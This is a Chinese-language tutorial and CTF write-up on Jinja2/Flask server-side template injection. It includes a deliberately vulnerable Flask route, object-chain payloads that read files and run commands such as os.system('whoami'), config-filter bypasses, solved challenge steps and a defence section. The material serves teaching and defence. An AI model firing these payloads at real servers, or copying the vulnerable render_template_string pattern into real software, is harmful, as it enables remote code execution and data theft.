CTF引出对Python模板注入的思考
字数 1806 2025-08-15 21:32:05
Python模板注入(SSTI)深入分析与防御指南
一、模板注入基础概念
1.1 什么是模板注入
模板注入(Server-Side Template Injection, SSTI)是一种服务器端漏洞,攻击者能够通过注入恶意模板代码在服务器端执行任意命令。在Python Web框架中,特别是使用Jinja2模板引擎的应用中较为常见。
1.2 模板注入的危害
- 执行任意Python代码
- 读取敏感文件
- 获取服务器权限
- 数据库操作
二、Python模板注入原理分析
2.1 Jinja2模板引擎语法
Jinja2引擎存在三种主要语法结构:
- 控制结构
{% %} - 变量取值
{{ }} - 注释
{# #}
关键点:{{ }}内的内容不仅会被填充替换,还能执行部分表达式,这是SSTI漏洞的根本原因。
2.2 Flask渲染方法
Flask主要使用两种渲染方法:
render_template- 渲染HTML文件render_template_string- 渲染HTML字符串
漏洞触发条件:当render_template_string渲染的HTML字符串受用户控制时,就可能存在SSTI漏洞。
2.3 示例漏洞代码
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/vulnerable')
def vulnerable():
s = request.args.get('code')
html = '<h3>%s</h3>'%(s)
return render_template_string(html) # 危险!用户输入直接传入模板
if __name__ == '__main__':
app.run()
三、SSTI利用技术详解
3.1 基本利用方式
构造payload:http://example.com/vulnerable?code={{3*2}}
如果页面返回6,则确认存在SSTI漏洞。
3.2 Python对象链利用
通过Python的魔术方法和属性链,可以访问危险函数:
-
__class__- 获取对象的类''.__class__ # 获取字符串的类 -
__mro__- 获取类的继承顺序''.__class__.__mro__ # 显示继承链 -
__subclasses__()- 获取类的所有子类''.__class__.__mro__[1].__subclasses__() # 获取所有子类 -
__init__.__globals__- 获取全局变量[].__class__.__base__.__subclasses__()[X].__init__.__globals__
3.3 查找危险子类
通过以下脚本查找包含os模块的子类:
num = 0
for item in ''.__class__.__mro__[1].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print(num, item)
num += 1
except:
num += 1
3.4 常用payload示例
-
读取文件:
{{''.__class__.__mro__[1].__subclasses__()[X]('filename').read()}} -
列出目录:
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].listdir('.')}} -
执行命令:
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].system('whoami')}}
四、进阶绕过技术
4.1 黑名单绕过
当config、self等关键字被过滤时,可以使用:
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
4.2 其他危险函数
-
__import__函数:{{__import__("os").system("ls")}} -
timeit模块:{{[].__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['__import__']('timeit').timeit("__import__('os').system('ls')",number=1)}} -
platform模块:{{[].__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['__import__']('platform').popen('ls').read()}}
五、防御措施
5.1 输入过滤
- 过滤特殊字符:
{{ }} {% %} {# #} __ - 使用白名单验证用户输入
5.2 安全配置
- 避免使用
render_template_string渲染用户输入 - 使用沙箱环境执行模板
- 更新Jinja2到最新版本
5.3 代码示例
安全代码示例:
from flask import Flask, request, render_template, escape
app = Flask(__name__)
@app.route('/safe')
def safe():
user_input = escape(request.args.get('input')) # 转义用户输入
return render_template('template.html', input=user_input) # 使用预定义模板
六、CTF实战案例解析
6.1 案例1:Web_python_template_injection
解题步骤:
- 确认SSTI漏洞:
/{{7*7}}→ 返回49 - 构建对象链获取文件列表:
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].listdir('.')}} - 读取flag文件:
{{''.__class__.__mro__[1].__subclasses__()[X]('fl4g').read()}}
6.2 案例2:shrine
解题步骤:
- 发现
config和self被过滤 - 使用
url_for或get_flashed_messages绕过:/shrine/{{url_for.__globals__['current_app'].config}} - 从config中获取FLAG值
七、扩展知识
7.1 Python沙箱逃逸技术
- 通过内置函数
__builtins__访问危险函数 - 利用异常处理获取信息
- 使用字符串拼接绕过关键字过滤
7.2 其他危险模块
| 模块 | 危险函数 | 用途 |
|---|---|---|
| os | system/popen | 执行系统命令 |
| subprocess | Popen | 执行系统命令 |
| importlib | import_module | 动态导入模块 |
| codecs | open | 文件操作 |
7.3 Python2与Python3差异
file函数只在Python2中存在execfile函数只在Python2中存在- Python3中
__subclasses__()返回的子类顺序可能不同
八、总结
Python模板注入是一种严重的服务器端漏洞,攻击者可以通过精心构造的payload执行任意代码。防御的关键在于:
- 永远不要信任用户输入
- 避免直接渲染用户提供的模板
- 实施严格的输入验证和过滤
- 保持框架和依赖库的最新版本
通过深入理解SSTI的原理和利用技术,开发人员可以更好地保护自己的应用免受此类攻击。